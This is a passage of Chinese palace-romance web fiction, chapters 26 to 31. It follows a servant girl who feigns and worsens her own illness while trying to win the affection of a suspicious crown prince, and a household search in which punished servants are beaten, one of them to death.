《诱引春香,太子他不装了!》 第26章 衣裳不对 安小月脑袋晕乎乎的,她什么时候说过不嫌弃苏公公不举? 更关键的是苏公公是举不举的问题吗? 他压根连那个东西都没有! 明明是萧衍自己说自己不举,现在却甩锅到苏公公身上,真是用蜡烛刺瞎子的眼睛,太坏了。 安小月脸颊绯红,不知道是被气得还是因为发热。 青莲还在旁边劝她别太上火,说送给苏公公总比送给六皇子强,六皇子那可是吃人不吐骨头的地方。 安小月郁闷至极,她哪个地方都不想去,她只想要太子殿下。 但萧衍昨夜被她戏弄,短时间内肯定是不会让她近身了,她要是敢在这个关头躁动,势必会彻底惹怒他。 想到这个,她刚才跃跃欲试的冲动又忍了回去,无力地倒回床榻。 “你不用陪着我了,快睡吧。” 安小月让青莲回去休息,这样她才有机会偷偷干一些见不得人的事情。 青莲的确熬不住了,给她盖好被子就出去了。 她走了,安小月没有立即就去窗口吹风,她裹着被子认真地思考着问题到底出在哪。 是她身段不够妖娆吗? 还是她模仿的不够像。 她思来想去觉得问题一定不在自己身上,那就只可能是外界因素了。 安小月余光瞥到搭在屏风架子后面的那一抹红,突然一顿。 难道是穿的衣服太保守了? 她想到在铜镜中看到的自己不禁又红了脸。 袒胸露乳还不够吗?太子殿下到底喜欢哪种衣裳啊! 蒙着被子又眯了一会儿,安晓月捂出了一身汗,这才艰难地爬起来站到窗边吹风。 她得有足够的理由避开萧衍,更得让皇后娘娘主动给她留出更多时间来。 装病是装不过的,只能让自己真的病了。 她感觉身上冰的都在抽筋才回去躺下,只是刚盖上被子,后窗就被人轻轻敲了两下。 安小月猛地睁开眼睛,看倒影像是个女子。 “安姑娘,是我,快开窗。” 安小月听到熟悉的声音立即爬起来,过去把窗户推开一条缝隙,就见第一次过来问话的小姑娘鬼鬼祟祟站在窗边。 “事情成了吗?” 安小月捏紧了帕子,心想果然是她们。 她用帕子掩住嘴,虚弱的咳嗽两声,“是我无能,到了紧要关头不小心惹怒了殿下,被殿下扔出来了,我现在咳咳咳……” 话都没说完她又开始猛烈咳嗽,小姑娘嫌弃的往后退了几步,等她不咳嗽了才上前。 “还有两日,你抓紧点时间,需要什么现在就告诉我,我好找机会给你送过来。” “衣裳!”安小月脱口而出。 见小姑娘表情茫然,她这才犹犹豫豫地解释,“我没见过那个地方的姑娘该穿什么衣裳,但是殿下对送来的那两件不太满意,若是有更那个一点的就好了。” 小姑娘愣了下,随即就对安小月投去一道鄙夷又厌恶的目光。 “我知道了,明天给你送过来。” 她又像一阵风似的很快消失在后院,徒留下安小月呆愣地看着她离开的方向。 等衣裳送来,她若是再不成功,就没有找借口的机会了。 到那时不是被太子殿下当场斩杀,就是被皇后娘娘找借口责罚致死。 难道她真的要去寻求六皇子的庇护吗? 若是跟了他,皇后娘娘看在六皇子的面子上,也不会立即就要了她的命。 若是她哄得好,六皇子说不定还会把娘和阳儿救出来哄她开心。 安小月的思绪因为想到这个可能心潮澎湃,可转瞬间又像被泼了盆冷水似的。 六皇子什么美人没见过,她又有什么特别的地方能让他为自己跟皇后娘娘抗衡呢? 安小月幽幽叹了口气,关上窗子回了屋。 还是得靠自己。 半夜连着起了两三回,到了第二天青莲过来给她送药,病不但没轻,反而更重了。 安小月身上热的比刚出炉的包子还要烫手,青莲发现时她整个人的神智已经不大清醒了。 急的青莲急忙去请府医,巧的是府医刚去了太子的玉庆宫给太子诊脉去了,她只得又去了玉庆宫。 苏德因为做了蠢事被萧衍赶到殿外伺候,见了急的快哭了青莲,立即就想到了安小月。 不过碍于两人现在的关系,他没敢主动上前。 “苏公公,求您救救我家姑娘吧,她快要病死了!” 青莲哭着跪倒在苏德面前哀求,语气中的绝望吓得苏德差点背过气去。 “不是昨日刚请了府医?怎么就要病死了?” 青莲把昨夜到现在的情况说了一遍,也没说出来什么关键的信息,苏德无奈,想着这女子身份特殊,还是过去敲了殿门。 “进来!” 萧衍的声音听起来无波无澜,可只要伺候惯了的人都清楚这是火气还没消的信号。 苏德小跑进去把安小月的情况如实说了一遍,结果却得到萧衍意味深长的眼神。 “你若是真不在意,她死不死跟你有什么关系?现在跟孤说,是想让孤把太医让给她?” 苏德心头大骇,急忙跪了下去。 别人不清楚安小月和殿下之间的关系,但他却是最清楚的。 自然知道两人已经有了肢体接触,只差临门一脚了而已。 而且之前殿下曾表现出对这女子的在意,现在只不过是在气头上,他怎么可能真的抢殿下的女人! “殿下,奴才就是个没根的废物,能伺候殿下就是奴才天大的福气了,怎么敢奢想其他,实在是安姑娘病得重,还念叨着殿下,奴才这才斗胆一问啊。” 萧衍感觉自己的心像是被什么东西撞了一下似的。 表情古怪,“你说她晕过去都还在念叨着孤?” 怕不是在诅咒他吧。 “正是,伺候安姑娘的那个小丫头是这么说的。” 萧衍哼了一声,“别以为这样孤就能把太医让给她,一个贱婢而已,死就死了,孤会看在她做的那几顿饭允许她的尸身送回她家里去。” 苏德一哽,确认殿下这是真对这姑娘失了兴趣。 这下就更好办了。 他应了话,紧接着就出了殿门,让人把青莲拉到较远的地方才说话。 苏德在安小月身上押错了宝,这会儿不想给她们好脸色看。 面无表情道,“殿下说了,一个贱婢哪里值得三天两头请太医来看,若是真的病死了,殿下会让人把她的尸身送回家去,若是要死,那就安心去吧。” 青莲如遭雷劈,惨白着脸跌倒在地。 第27章 喂药 苏德说完这句话就吩咐周围把守的人不允许青莲再靠近,他回了位置站好,没有往这里再看一眼。 青莲吓得不轻,又不敢多耽搁,急忙跑了回去。 幸好院子里的小太监还没有接到外头的消息,仍在尽职尽责的熬药,见了她,把熬出来的汤药端了过去。 青莲进去时安小月身上还是那么烫,她借着细细的竹管把药一口一口喂下去,又回想着以前在东宫时看到老嬷嬷帮同屋的丫头降热时做的那些举动。 打了一盆温水,把安小月的衣服脱光,用帕子一遍又一遍地擦拭身体。 也不知道是药起了作用还是后来这个有用,一个时辰后,安小月身上终于没有那么烫了。 与此同时,又进暗室躲清静的萧衍也接到了暗卫的汇报。 暗卫一板一眼的讲着他暗中观察到的那些,当说到青莲脱了安小月的衣服时,胸口被重重踹了一脚。 萧衍急躁地转动拇指上的玉扳指,眼中似是覆上寒冰。 “孤可不记得曾经教过你们偷看这种事情。” 暗卫心里叫苦,他们以前也没被吩咐过去偷窥女子啊。 谁知道那小丫头会突然脱衣裳,他想躲都来不及,又因为视力了得,很轻易就看得清清楚楚。 心思飘了一瞬,意识到自己面前站着的是谁,顿时不敢再乱想了。 “殿下恕罪!” 萧衍怒哼一声,“那女人是真的快病死了?还是装的?” “她昨夜用被子捂出汗之后,又去窗边站了两三回,天没亮人就糊涂了,应当是真的快病死了。” 萧衍眼色一沉,脸黑的能滴出墨来。 她这是想把自己弄死,好给他身上泼脏水? 还是想用这种告诉自己她死都不会听话? 不管是哪一种,都蠢得要命。 “让府医过去看看,如果是真的快病死了就把人扔出去,省得晦气。” “喏。” 暗卫一走,萧衍那股憋闷的心情无处发泄,烦躁地踹了桌子腿一脚。 苏德私自把人放在廊下避风的地方受罚他第一时间就接到了消息,但是并没有阻止。 他的确是烦了这个女人,但也没想着要她的命。 第二天发火只是因为某种欲望没有被满足才发脾气惩罚苏德这个没眼色的狗东西。 根本没想过她会顺杆子往上爬,现在在闹成这样,若是人真的死了,这条人命岂不是背在了他身上? 萧衍心里窝着一口气,完全忘了他在战场上拼杀时要过多少人的命。 多一条少一条似乎并没有太大区别。 暗卫叫来府医给安小月诊治,原来的药方已经不管用了,府医加大了剂量,又给她塞了一粒自己熬制的药丸。 “若是喝了药后夜里人能醒,那就没大事了,若是醒不了,你们就可以提前准备后事了。” 青莲腿一软坐了下去,眼睛瞪得滚圆。 府医摇了摇头,唉声叹气的出去了。 这让青莲更加恐慌了,药还没熬好,她又用白天的法子给安小月擦拭身体降温。 刚回来的暗卫又没躲开,急忙闭上眼不看。 青莲刚擦完一遍,门口的小太监就喊药好了,她着急接药,只来得及拉过被子给榻上的人盖上。 回来后喂完了药,外面又有人喊她过去帮忙,一时间竟忘了被子底下的人还是裸着的。 夜深了,安小月人还没醒。 暗卫正在犹豫要不要再去汇报,就听门口传来动静,一道高大的身影闪了进来。 看到来人是谁,他默默闭上眼睛。 萧衍一进屋子就闻到浓烈的药味,再加上屋子里一天一夜都没通风,那气味着实不太好闻。 不过瞥到榻上那个不知死活的身影,还是迈开步子过去了。 安小月紧闭双眼,眉头皱起,只是病了一天一夜,原本巴掌大的脸似乎更小了些。 唇瓣因为缺水而干裂,和勾引他时吻过他的红润嘴唇截然相反。 萧衍啧啧两声,心里有股出了口恶气的舒畅,可一想到她昨夜的鲜活,心情又烦闷起来。 “孤碰上你真是倒了八辈子霉!” 她如果是真的死了,那群人只会再给他身边送人过来。 到时候情况可能比现在更要难招架。 萧衍默默腹诽,对,就是这样,他甩开随从自己过来,只是怕她死了下一个更难缠。 如此说服了自己,他便心安理得的坐在榻边,从荷包里取出一个精致的瓷瓶。 “真是便宜你了。” 萧衍黑着脸倒出来两粒往她嘴里塞,哪知道安小月牙咬得比宫门看守的人还紧,一时间竟塞不进去。 萧衍怒了,一手掐住她的脸颊,却也没用。 试了两次都不行,他正想扔了药不喂了,忽然想到亲热时他无意中碰到的地方。 安小月的敏感处在腰上,只是随手一碰,她就像是离了水的鱼扭身挣扎,嘴巴自然也下意识张开。 萧衍低头看着她,眉头紧蹙,片刻后一脸烦躁地掀开被子,同时右手已经朝着她的腰侧伸了过去。 可是下一瞬,余光瞥到白花花的一片后,整个人猛地顿住,又迅速把被子拉回来。 萧衍条件反射抬头看向房梁,眼里带着戾气。 刚睁开眼想看看情况却又撞上不该看的暗卫此时此刻想死的心都有了。 怎么倒霉的永远是他! 萧衍呵斥,“滚远点!” 毕竟是他碰过的人,别人多看一眼都是对他的不尊重。 暗卫忙溜的远远的,萧衍抓着被子的手紧了又松,脸色越发的阴沉。 这女人该不会是在装睡,好等着他过来自投罗网? 萧衍想到这个可能,直接上手去掀她的眼皮,人也贴了过去,紧挨着她的脸。 但翻了几次看到的都是白眼珠,这才肯定人是真的晕了。 萧衍吃了哑巴亏,怒极气极,偏偏还是他自己要来的,没有人勉强,想发火也没地方发泄。 于是恶狠狠地用指头撬开安小月的嘴,把那两粒药塞了进去,哼了一声就出了屋子。 “砰”的一声后,屋子里彻底安静下来。 暗卫不敢靠近,青莲也不知道跑哪儿去了,直到很久之后,安小月才颤巍巍的睁开眼,眼底满是清明。 她不禁勾了勾唇,又满意地闭眼睡觉。 第28章 以退为进 明面上有府医开的药方,私下里有太子喂的药,安小月恢复的很快。 又过了两日,她身上终于恢复了些力气,能自己站一会儿了。 青莲从外面回来,看着她目光闪躲,安小月直接把这丫头堵在门口才逼问出来出了什么事。 原来在她养病的这两天,外面都在传太子府什么时候办喜事。 办她和苏德的喜事。 青莲愁眉苦脸,“姑娘,老嬷嬷说那些老太监可会折腾人了,姑娘要是真嫁给苏公公就惨了!” 安小月觉得好笑,打趣她,“你前两天不是还说苏公公比六皇子好多了,六皇子可是要吃人的呢。” “唉,老嬷嬷说我眼睛瞎了,苏公公和六皇子各有各的不好,就算是太子殿下也有不全之处,咱们女子要想活得好还是得靠自己。” 安小月暗自觉得心惊,到底是哪位嬷嬷,竟然会有如此觉悟。 在太子府敢说这种话,想必也是一个不拘小节的大女子。 她叹了口气,“的确如此,不过男子把女子当作交易的工具,为什么女子不能反过来利用男子呢?” 不管哪种身份的女子,总是要依附男子而活。 夫君官位高,她才可能是被人尊重的某夫人,若想靠自己简直比登天还难。 她要想往上爬,救出娘和阳儿,单靠自己是不行的,要学会借力和共生,看着是被他们利用了,她又何尝不是在利用他们? 不过这些她只能在心里想想,不能告诉青莲。 这丫头还拉着脸,安小月忍不住掐了掐她白嫩的脸颊,“好了,别愁眉苦脸的,我在茶水间的小灶上给你做点心怎么样?” “嗯,姑娘做的点心是世间最好吃的点心!” 安小月觉得她夸得有点过了,若真是最好吃的,怎么不见某人念念不忘呢? 她和青莲忙着做各种点心,而被她念叨的人恰巧也在念叨她。 “她果真这么说?” 萧衍把咬了一口的茯苓糕扔了回去,神情有点惊讶。 暗卫老实点头。 “有意思。” 萧衍端起茶杯啜了一口,略微发苦的口感冲散了茯苓糕的药香,他嘴角却不由自主地翘了起来。 “看来她来孤身边,是想利用孤。” 还敢堂而皇之的说出来,真是一点都不把他放在眼里。 偏偏他又觉得有趣。 自从他“病”了以来,身边都是说鬼话的人,难得有这么一个,还好没有折腾死。 萧衍心情说不上好坏,又问,“她在做什么?” “和伺候的丫头在做点心,做了有三四样。” 萧衍原本还带着笑的嘴角瞬间落了下去,不悦道,“真以为太子府是她家吗?孤记得她进府是伺候孤的,怎么比孤这个主人还要自在?” 在旁边伺候的苏德一下就懂了。 殿下这是又想让人回来伺候了。 “奴才这就把那奴婢叫过来伺候殿下,她做的点心用的都是太子府的东西,自然也得拿过来。” 萧衍给了他一个“说得不错”的眼神,轻飘飘吩咐道,“既如此,你去叫她过来,孤正好有事要问她。” “喏。” 苏德自觉自己猜中了殿下的心思,得意的不得了,压根没有注意到殿下眼中一闪而过的戏谑。 等他兴冲冲地把安小月叫过来,亲自端着那几盘点心邀功似的递给殿下,就听到殿下突然问,“孤说了过两天给你们办喜事,不如就今天怎么样?” “啊?” 苏德腿一软,差点把点心摔了,哭丧着脸急忙跪下。 “殿下,奴才真没有这个福气啊,还请殿下收回成命,奴才真的不行啊!” 萧衍似笑非笑的盯着安小月苍白的面颊。 “所以孤才会把她许配给你,你不是说不嫌弃男子不举吗?难道你是骗孤?” 安小月听出来后面这句话是问她的,顿了顿,柔柔弱弱的跪了下去。 她似乎是很纠结,磨蹭了半天也没说出一二,萧衍见了她这副包子样就气不打一处来。 “你不说话,孤就当你答应了,来人……” “殿下真的要奴说实话吗?” 安小月突然出声打断,面上是纠结之后留下来的坚决,还带着一丝忐忑与紧张。 萧衍眯着眼睛不知道在想什么,半晌才哼了一声。 “说。” 安小月清了清嗓子,“殿下,奴的确说过不介意男子不举,但前提是那个男子是奴心悦之人,奴对苏公公绝无爱慕之心,因此奴不答应这件婚事。” 萧衍听出她的言外之意,讥讽道,“你一个婢女,还分心悦与否?真是笑话。” “奴是人,自然会对男子有爱慕之心,奴一番情意犹如滔滔江水,难道殿下感觉不出来吗?” “放肆,孤为何要感觉到你的情意!”萧衍下意识回了一句,说完直接黑了脸。 安小月眨眨眼睛,似乎是在问他真的要自己说出来吗。 萧衍的脸色以肉眼可见的速度黑了下来,他咬牙切齿瞪着安小月,挥退其他人。 殿门再次紧闭,两人的心境却截然相反。 以往总是淡定的萧衍此刻气急败坏,安小月却不再像之前那么忐忑。 太子私自溜去给她喂药,就已经说明自己在他心里并不是半分影响都没有。 上赶着不起作用,倒不如试一试以退为进。 她安静的跪着不说话,这让憋了一肚子火气的萧衍无处发泄。 他再独断专制,也不可能强迫别人婚配,否则传出去又是递给皇后的把柄。 “孤之前说过,若是你有命活下来,孤就饶了你蓄意勾引孤的事情,但若是再有下次,孤绝不会再饶你。” 安小月脸红了一下,“若是奴忍不住怎么办?” 萧衍虎目圆瞪,压抑着怒气问,“忍不住是什么意思?难道你还想继续勾引孤?” 安小月没说话,娇羞地低下头。 “殿下,奴一定会克制自己的。” 但要是克制不住的话,那也不能怪她了。 萧衍没听到想象中的回答,居然有一丝丝失望,眼神复杂的嘟囔了句,“这还差不多。” “罢了,今后你若安分守己,孤也不会处罚你,出去吧,别在这里碍眼。” “喏。”安小月很听话的退出大殿。 让本来已经打起精神准备应对她继续纠缠的萧衍不由自主地愣在原地。 第29章 祸事因她而起 严格的来说安晓月并不算太子府在名册上的奴仆,也没人敢让她干活。 她乐得清净,太子不找,她就回屋子做自己的事。 刚进屋子就发现被子中间鼓鼓囊囊的,像是塞了什么东西似的。 安小月怕青莲回来,急忙过去查看,一团红红绿绿的布料缠在一起,看不清楚模样。 该不会是那些人送来的衣裳吧? 安小月心虚的左右张望,这才小心翼翼地抖开布料,下一瞬脸就像打翻了染缸似的,红了一大片。 这也太…… 布料比上次那件还要薄,团成一团只有她巴掌那么大,最关键的两个部位却是空着的,只有几条细绳绑着。 她下意识想象了一下自己穿上这件衣裳的样子,惊的一颤,手一抖就把东西扔了出去。 恰巧青莲推门而入,“姑娘,咦?” 青莲正抓着那团布料满脸好奇,刚想抖开,安小月迅速蹿过去抢到手上,满面红晕不敢看她。 强忍着心慌道,“这是我做衣裳用废的料子,没什么好看的,你怎么回来了?” 青莲傻乎乎的没有追问,“小厨房的嬷嬷说殿下这两日不思饮食,想请教姑娘有什么新鲜的花样教教她们,不然殿下定要责罚她们的,传到宫里,皇后娘娘也会派人问责。” 皇后虽然不是太子生母,但也有教养所有皇子公主的义务。 像太子不吃饭,她自然不会找太子的麻烦,但底下伺候的那些人可就要受罪了。 安小月心头微动,若是殿下依赖她做的饭菜,皇后会不会多留她一段时间? 若是亲生母子皇后可能不会在意太子的感受,但她想当个贤母,就不得不参考太子的意见。 “我有,我现在就去小厨房。” 安小月把那几件衣裳好好藏起来,拉着青莲出了门。 只是她不知道的是她们刚走,房顶的暗卫就跳了下来,从她藏东西的地方一股脑抓出那团布料,又飞了出去。 安小月打定主意要用厨艺折服太子,原本觉得费工夫的饭菜也不觉得麻烦了。 她跟着小厨房的嬷嬷们忙活了半个下午,终于做出来一桌几乎所有人都满意的美食。 此时还不到传膳的时间,她们窝在小厨房里等着。 而萧衍却因为看了不该看的东西眼睛生疼,叫了府医来看,说是眼丹。 “古有云,眼丹者,眼睑赤肿如丹,是由气血过剩,热毒蕴结所致。” 府医眼神有点微妙,意味深长地看了眼苏德。 他们的太子殿下该泄火了。 萧衍一只眼睁不开,勃然大怒,“定是那种脏污上不了台面的东西脏了孤的眼睛,苏德,你带人搜查太子府,若是碰上私藏秽物的,即刻赶出太子府。” “喏,奴才这就去。” 苏德想不通殿下好端端的怎么就发火了,但动作很快,分出去几拨人分头去查,还真查出了些不该有的东西。 安小月听到消息的时候已经迟了,那些私藏秽物的奴才们被押在玉庆宫前,等候太子处置。 她心慌的两股颤颤,急忙握紧青莲的手。 “若是太子叫我,你就说我身子不适回房休息了,我很快就来。” 她偷偷溜出人群往住的屋子跑,生怕跑得慢了,偷偷藏的那些东西会被人翻出来。 萧衍刚喝了药,听说安小月偷跑了,气得咬牙冷笑。 “她也知道害怕!” 若不是她一直有意勾引,他怎么可能因为气血过剩导致热毒蕴结! 府医话里话外都是让他找女人泻火的意思,还说哪怕一次抵过服药三日! 简直荒唐! 萧衍扔了帕子,冷喝道,“每人打三十大板,交由慎刑司处置。” 这是说大可大,说小可小,往大了说有秽乱后宫的嫌疑,往小了说不服管教,全都看萧衍怎么处置。 他发了令,没有人敢求饶。 十多个小太监和五六个宫女被侍卫按在长条凳上打板子,板板到肉的闷声听得人心慌不已。 安小月在屋子里翻箱倒柜都没找到她藏的东西,心里更加慌乱,刚跑回来就看到一个小宫女在自己眼前咽了气。 她腿一软,整个人不受控地跌倒,面色苍白如纸。 他们会被发现,很有可能都是因为她! 房里的那些东西很有可能是被萧衍搜走的。 安小月悔不当初,后悔让那些人送这些衣裳进来,对于她不仅没有半点用处,还惹了祸事。 苏德脸色复杂地走到跟前,“安姑娘,殿下有请,走吧。” 安小月不知道自己是怎么走到太子跟前的,他只轻飘飘看了自己一眼,她竟不自觉地跪了下去。 萧衍冷哼,“你怕孤?” “奴没有。”安小月忍着心慌平静辩解。 “是吗?那你看看这是什么。” 萧衍随手将那团布料扔到她脚下,看着她脸色骤然大变,阴冷一笑,“你居然敢私藏秽物,难道太子府是青楼妓院,容得下你这般放肆!” “我……”安小月差点忘了称呼,咬了咬舌尖,“奴不知道这些东西是哪里来的,奴刚回屋子就见了这些东西,不知道该如何处置就藏到了柜子里,殿下是怎么发现的?” 萧衍皱眉不满,“整个太子府都是孤的地盘,孤想要去哪里,难道还得跟你报备?” “奴只是没想到殿下会发现的这么快。” 安小月心里发凉。 他可能一直派人监视着她。 那她做的那些事,说的那些话,岂不是都被人听到了? 甚至她和皇后那些人见面,很有可能都在他的掌握之中! 怪不得萧衍明明知道她的身份和目的,却还是能稳坐如山,原来一切都在他的掌握之中。 安小月只觉得前路一片黑灰暗,没有半点生机。 萧衍打量她的神色,猜测她已经想到了一些事情,反而渐渐冷静下来。 他盯着安小月,语气中带着嫌恶。 “若不是你有意勾引孤,怎么可能有人平白无故给你送这些东西?怎么不见他们给孤送?” 安小月慢吞吞地抬头和他对视,似是有些不解。 “殿下……也想要这些东西吗?” “你,胡说八道!” 萧衍怒不可遏地站起来,沙包大的拳头紧握着,似乎随时有可能朝她砸过来。 但安小月就像被下了药似的,还是直勾勾盯着他。 “殿下想要这些东西,难道也想……” 第30章 做给太子看 “闭嘴!” 萧衍直觉认为她接下来要说的话不中听,立即就喝止了。 “孤最讨厌控制不住自己的人,你若是还想多活几天,就小心点折腾。” 安小月沉默半天,以头碰地磕头,“多谢殿下不杀之恩。” 萧衍不想再看到她,摆摆手让人出去了。 安小月得到准许立即退出了大殿,那模样看起来有多急迫就有多急迫。 落到背后人的眼里就成了逃避。 萧衍眼神复杂,她这般情根深重,孤还三番两次的拒绝,她应当是受不了急着跑回去哭吧。 只可惜他与相府之间存在着不可磨灭的孽缘,她怕是这辈子都别想圆梦了。 被认为是要跑回去哭的安小月并没有躲回屋子,而是偷偷溜去了前院。 她亲眼看着那个宫女咽了气,直到现在心里都还在发慌,若是不做点什么,只怕夜里会愧疚的睡不着。 同样是奴婢,她太清楚奴婢的命有多低贱。 能在深宫中长到这么大已是不易,如今却因为她的牵连丢了性命,她想给她买口薄棺,聊以自慰。 安小月蹑手蹑脚地躲在角落,正好看到侍卫首领在处理挨了板子那些宫女太监们。 那人十分警觉,她刚探出头,锐利的眼刀就射了过来。 “什么人!” 安小月肩膀抖了抖,大着胆子走过去对侍卫施以一礼,“这位大哥,奴有要紧的事想求您帮忙。” 侍卫首领侧身避开,不受她的礼,却因为她是殿下身边伺候的人,没有立即拒绝。 他端的是面无表情,“安姑娘直说便是。” 安小月飞快地从被抬走的那个人身上扫了一眼,想了想,解下荷包递了过去。 她心里为小宫女的遭遇感到同病相怜,神色不免带上几分难过。 “奴想知道那个宫女会被如何处置?她若是没有家人的话,这里有五两银子,应该够给她买口薄棺了,还请大哥帮奴这个忙,随便买口便是。” 侍卫首领的眼神瞬间变得凌厉起来,一手按在腰边的佩刀上,似乎随时要拔出来。 “你和她是什么关系?” 殿下既然决定在府中搜查污秽之物,就表明私底下已经发现了端倪。 这些人会受罚,是因为他们犯的错已经触犯了殿下的底线。 他作为侍卫首领,自然不会放过其他可疑之人。 安小月被他的动作惊了一跳,急忙往后避开,“侍卫大哥误会了,奴和她没有任何关系,奴只是觉得一个小姑娘就这么没了很可惜,怕她走得不安心,想送她最后一程罢了!” 她很害怕侍卫会把刀对准她的脖子砍下来,但一想到那个可怜的小姑娘,便没有那么怕了。 安小月倔强地捧着荷包,目露希冀。 她希望侍卫大哥能接过去帮她这个忙,但等了半晌,明明发觉侍卫首领的神色略有松动,却还是拒绝了她。 侍卫收回复杂的眼神,冷声道,“安姑娘请回吧,犯了错的宫婢不配有棺材收殓尸身,这个忙我帮不了。” 安小月急了。 她也知道说到底这件事跟她没有直接的关系,都怪狗太子突然发疯想到搜查她的屋子。 这些人会被抓出来,一定是自身就有问题。 可这毕竟是她来这里后第一个被自己牵连的其他人,她没办法像他们一样冷血。 安小月拧着裙摆,秀眉紧紧皱在一起,那般无措又茫然的神色让领头的侍卫不禁犹豫了。 刚想说话就被身后的人拽了一把。 两人对视一眼,侍卫首领眼底的波动又一次沉了下去。 安小月试探着道,“那,能不能让奴出去一趟?奴买口棺材送到乱葬岗,还请诸位大哥不小心把她扔到棺材里,这样行吗?” 侍卫平静地看着她,似乎是在反问她觉得这样行不行。 安小月难为情地扯了扯嘴角,他不说话,应该还是不行吧。 院子里的人已经全数被押出去了,几个侍卫也做出要走的姿势,偏偏她拉着侍卫首领说话,几人都看着他们这里。 安小月无声叹了口气,后退一步。 “是奴叨扰了,这些银子大哥们拿着买酒喝,奴现在就走。” 她迅速把荷包塞进侍卫首领手里,转过身拔腿就跑,一转眼就消失在视线当中。 留下几个大男人盯着女子精致的荷包失神。 安小月忍着腿软回了屋子,青莲正在整理被她翻乱了的衣裳,看到她脸色不对,急忙放下东西过来接她。 “姑娘这是怎么了,难道是被吓到了?” 安小月失神地看着某处,被吓到是一方面,最重要的是萧衍居然一直派人盯着她。 那就说明她以后得更加小心,至于皇后派来的那些人,还得继续接触。 若是突然就不接触了,他一定会发觉自己知晓了这些秘密。 安小月只觉得头疼欲裂,一手撑着额头支在桌上,闭眸痛苦道,“青莲,我好像又发热了,上次抓的药还有吗?再给我熬一碗来吧。” “有,有,姑娘先去休息,我这就去熬药。” 青莲紧张地把她搀扶到木架床躺下,拉过被子给她盖上才急急忙忙地出去。 安小月把头蒙在被子里,感觉呼吸越来越灼热。 她刚才去前院找侍卫并不是心血来潮,也不是完全把那小宫女死的锅背在自己身上。 她目的是做给太子看。 她连个不曾相识的小宫女都会怜惜,怎么可能是有坏心的恶人? 就算他不信,那些侍卫总该信上几分吧,这样也不算白做戏,对她以后在太子府行走多多少少会有帮助。 安小月轻叹一口气,闭上眼不知不觉就睡了过去。 与此同时,正在后花园里钓鱼的萧衍也听说了侍卫首领的汇报,连那个荷包都被呈了上来。 萧衍瞥了眼托盘上的荷包,的确是在那个女人身上见过。 “她既然让你们买酒吃,拿给孤做什么?” 侍卫躬身抱拳,“殿下,属下不敢。” “拿着吧,孤不跟你们计较。” 萧衍把鱼竿递给小太监,心情有点微妙,想不到她竟然是这么一个心软的人。 他下令搜查污秽之物,的确跟她房里的东西有关系,但更多的是想借此机会彻底清查太子府。 他都没有找她的麻烦,她自己倒怪上自己了。 萧衍“啧”了一声,“苏德,去给那个死了的宫女买口棺材,随便找个地方埋了吧。” 省得变成厉鬼找人麻烦。 第31章 亲自看望 萧衍入了夜才听说安小月又病了。 他很是不悦道,“太子府是什么吃人的地方吗?她才来了多久就病了几次,孤又没有折腾她。” 苏德暗自猜测安小月说不定和太子犯冲,又不敢说出来。 “殿下仁慈,没有寻她的麻烦已经是她的福气了,这般体弱多病,只能说她命格太弱,承不起殿下的恩泽。” 他自作聪明的说完,眼巴巴等着殿下的反应。 一个奸生子敢肖想殿下,能留到现在已经是祖上积德了,殿下有多厌恶这个女人,没有人比他更清楚。 因此他要多多地说这个女人的坏话,这样一定不会像之前那样被殿下责罚。 哪曾想他等待的不仅没到,还收获了殿下甩过来的书册,正好砸在他的嘴上,立即就肿了。 苏德跪倒在地慌忙求饶。 萧衍不耐烦道,“她因为什么病了,难道你忘了?若不是你把人放在院里,能着凉?” 苏德被噎的不知道该说什么,瘪着嘴满脸委屈。 要不是有殿下的命令,他哪敢啊! 这会儿又把锅甩到他身上,唉,自从这安小月来了,他就经常里外不是人。 殿下这脾气也越发阴晴不定了。 萧衍丝毫不觉得自己让苏德背锅有什么不对,重新拿起毛笔抄写经书,却怎么都静不下心来。 走神写错了一个字,已经抄了半本的册子全都废了。 萧衍烦躁地扔了笔,“太医来过了吗?” 苏德嘴还肿着,说话有些不清楚,“殿下,她一个婢女,若是没有您的吩咐,哪敢请太医来啊。” 这安小月来了不到十天,太医来府里的次数比前几年加起来还要频繁。 苏德突然一惊,殿下该不会真看上这个女人了吧! 悄悄打量殿下的神色,的确跟往常有很大的不同,但他也没见过殿下心悦别的女子,对比不出来。 萧衍沉吟片刻,突然背着手大步往外走。 “孤倒想看看她是真的病了还是装病,哼,苏德,去请太医来,多请两个。” 苏德给旁边的小太监做了个手势,后者立即就去请太医了。 而萧衍早已经走出去了很远,看那个方向只有安小月住的小院子,苏德在心里叫苦连天。 早知道他就不说那些话了! 另一头,安小月喝了药刚躺下,就听到青莲慌乱失措的声音,她立刻睁开眼看向门口。 太子怎么会来? “奴婢给殿下请安。” 青莲虽然是跟着从东宫里出来的,但很少离太子这么近,这会儿怕得头都不敢抬,还像个木头桩子似的挡在门口,没有要让路的意思。 萧衍轻飘飘扫了她一眼。 苏德飞速上前把青莲拉到旁边,“安姑娘可好些了?吃药了吗?现在是睡着还是醒着?” “姑娘还没退热,已经喝了药了,刚睡下,苏公公有事要叫姑娘出来吗?” 青莲呆呆的,偷偷看了眼太子殿下。 姑娘刚病殿下就赶过来了,看来姑娘那天的勾引也不是一点用都没有。 苏德观察太子的神色。 又跟青莲说,“你先进去问问,若是安姑娘没睡,就请她穿好衣裳,殿下听闻安姑娘病了,特意带了太医过来。” 正巧背后传来老太医气喘吁吁的呼吸声。 青莲一看还来了两个,急忙进去看情况,她刚撩开帘子,却发现安小月已经穿戴整齐,似乎就在等她进来。 “不用说,我都听见了,你去开门吧。” 她其实已经好多,但身上还是有些发软,为了不让狗太子又起疑心,她打算躺在床上不下去。 青莲开了门,萧衍高大的身影就出现在视线当中。 他身量极高,冷不丁站在宫女们居住的小屋子里,显得空间越发逼仄狭小了。 萧衍皱眉,反应也是上次来怎么没觉得地方这么小? 安小月撑着床,很是虚弱的想要下来给他请安,结果刚挪动了两下,人又倒了下去。 “姑娘。”青莲急忙跑过去扶着。 安小月轻轻摇头,“殿下,奴身子不适,不能给殿下叩头请安,请殿下恕罪。” 萧衍眉心又不悦地皱了起来, “孤还没有丧心病狂到这种程度,难道在你心里孤就是这种斤斤计较的小人?” “没有,殿下是大男人,奴知道。” 萧衍表情突然一愣,是错觉吗? 为什么他总觉得她这个大男人格外有深意。 可看她的表情,似乎又是他多心了。 他不说话,屋子里所有人都朝他看了过去,安小月试探着问,“殿下深夜过来看望奴,是有其他的事吗?” 萧衍瞥了她一眼,挥手让太医进来。 “孤虽不是什么大善人,却也不是豺狼虎豹,你三天两头的病,传出去别人还以为孤如何折磨你。” “太医,好好给她看看,若是真的病了,那就开药方,太子府别的没有,药管够!” 